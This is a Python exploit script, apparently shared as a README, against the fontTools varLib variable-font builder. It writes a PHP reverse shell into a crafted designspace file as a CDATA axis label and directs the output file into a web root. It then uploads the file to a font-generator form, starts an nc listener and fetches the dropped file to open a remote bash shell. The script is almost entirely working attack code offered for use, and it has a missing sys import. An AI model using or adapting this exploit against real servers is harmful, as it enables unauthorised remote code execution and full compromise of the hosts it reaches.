README.md
Rendering markdown...
import argparse
import logging
import requests
import secrets
import string
import subprocess
import threading
import time
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
TARGET_URL = "http://mysite.com/tools/variable-font-generator/process" #change if necessary
DEFAULT_PATH = "/var/www/mysite.com/public" #change if neccessary
TRIGGER_URL = "http://mysite.com" #change if necessary
# Configure logging
logging.basicConfig(
level=logging.INFO,
format='[%(levelname)s] %(message)s'
)
def parse_args():
parser = argparse.ArgumentParser(description="Varlib fontTools exploit")
parser.add_argument("--ip", required=True, help="Listener IP")
parser.add_argument("--port", required=True, type=int, help="Listener port")
parser.add_argument("--path", default=DEFAULT_PATH, help="Filesystem path to write a shell")
parser.add_argument("--url", default=TARGET_URL, help="Upload's Form URL")
parser.add_argument("--trigger", default=TRIGGER_URL, help="URL to trigger the shell")
parser.add_argument("--no-listen", action="store_true", help="Skip auto listener")
return parser.parse_args()
#create fonts
def create_source_font(filename, weight=400):
fb = FontBuilder(unitsPerEm=1000, isTTF=True)
fb.setupGlyphOrder([".notdef"])
fb.setupCharacterMap({})
pen = TTGlyphPen(None)
pen.moveTo((0, 0))
pen.lineTo((500, 0))
pen.lineTo((500, 500))
pen.lineTo((0, 500))
pen.closePath()
glyph = pen.glyph()
fb.setupGlyf({".notdef": glyph})
fb.setupHorizontalMetrics({".notdef": (500, 0)})
fb.setupHorizontalHeader(ascent=800, descent=-200)
fb.setupOS2(usWeightClass=weight)
fb.setupPost()
fb.setupNameTable({"familyName": "ExploitFont", "styleName": f"Weight{weight}"})
fb.save(filename)
# Build reverse shell PHP
def build_php(ip, port):
php_code = (
f'<?php '
f'$ip="{ip}";'
f'$port={port};'
f'$sock=fsockopen($ip,$port);'
f'$descriptorspec=array(0=>$sock,1=>$sock,2=>$sock);'
f'$proc=proc_open("/bin/bash -i",$descriptorspec,$pipes);'
f'?>'
)
return php_code
# Generate shell name
def gen_shell_name(prefix="shell_", length=8):
"""
Generate something like shell_ab12cd34.php
Only [a-z0-9] so it’s safe to drop into single quotes.
"""
alphabet = string.ascii_lowercase + string.digits
rand = ''.join(secrets.choice(alphabet) for _ in range(length))
return f"{prefix}{rand}.php"
# Generate malicious designspace
def generate_designspace(ip, port, target_path, shellname):
php_payload = build_php(ip, port)
xml = f"""<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[{php_payload}]]]]><![CDATA[>]]></labelname>
<labelname xml:lang="fr">PENTEST</labelname>
</axis>
</axes>
<sources>
<source filename="source-light.ttf" name="Light">
<location>
<dimension name="Weight" xvalue="100"/>
</location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location>
<dimension name="Weight" xvalue="400"/>
</location>
</source>
</sources>
<variable-fonts>
<variable-font name="MaliciousFont" filename="{target_path}/{shellname}">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
</designspace>
"""
return xml
# Upload the payload
def upload_exploit(xml_payload, url):
files = [
("designspace", ("malicious.designspace", xml_payload, "application/octet-stream")), #change if your upload form is different
("masters", ("source-light.ttf", open("source-light.ttf", "rb"), "font/ttf")),
("masters", ("source-regular.ttf", open("source-regular.ttf", "rb"), "font/ttf")),
]
headers = { #add extra headers if necessary
"User-Agent": "Mozilla/5.0",
}
r = requests.post(url, files=files, headers=headers)
logging.info(f"[+] Server status: {r.status_code}")
def start_listener(port):
logging.info(f"[+] Starting listener on port {port}...")
return subprocess.Popen(
["nc", "-lvnp", str(port)],
stdin=None,
stdout=None,
stderr=subprocess.DEVNULL
)
def trigger_shell(shell_name, url):
"""
Simple HTTP GET to execute the reverse shell payload.
"""
url = f"{url}/{shell_name}"
logging.info(f"[+] Triggering shell via {url}")
try:
r = requests.get(url, timeout=5)
logging.info(f"[+] Trigger request status: {r.status_code}")
except requests.RequestException as e:
logging.warning(f"[!] Error while triggering shell.. try to trigger manually: {e}")
def main():
args = parse_args()
ip = args.ip
port = args.port
path = args.path
url = args.url
trigger_url = args.trigger
if not (1 <= port <= 65535):
sys.exit("[-] Invalid port number")
if port > 10000:
logging.warning("[!] Ports above 10000 may be blocked by your local firewall. Use ports like 4444, 9001, or 5050.")
elif port < 1024:
logging.warning("[!] Ports below 1024 require admin privileges to work as intended")
logging.info(f"[+] Generating compatible master fonts...")
create_source_font("source-light.ttf", weight=100)
create_source_font("source-regular.ttf", weight=400)
logging.info(f"[+] Generating shell name...")
shell_name = gen_shell_name()
logging.info(f"[+] Using IP address: {ip} and Port Number: {port}")
logging.info(f"[+] Using shell name {shell_name}")
logging.info(f"[+] Creating malicious designspace...")
xml_payload = generate_designspace(ip, port, path, shell_name)
logging.info(f"[+] Uploading payload...")
upload_exploit(xml_payload, url)
if not args.no_listen:
try:
listener_proc = start_listener(port)
time.sleep(2) # Give listener time to spin up
trigger_shell(shell_name, trigger_url)
listener_proc.wait()
except KeyboardInterrupt:
logging.info(f"[!] Interrupted...")
else:
trigger_shell(shell_name, trigger_url)
if __name__ == "__main__":
main()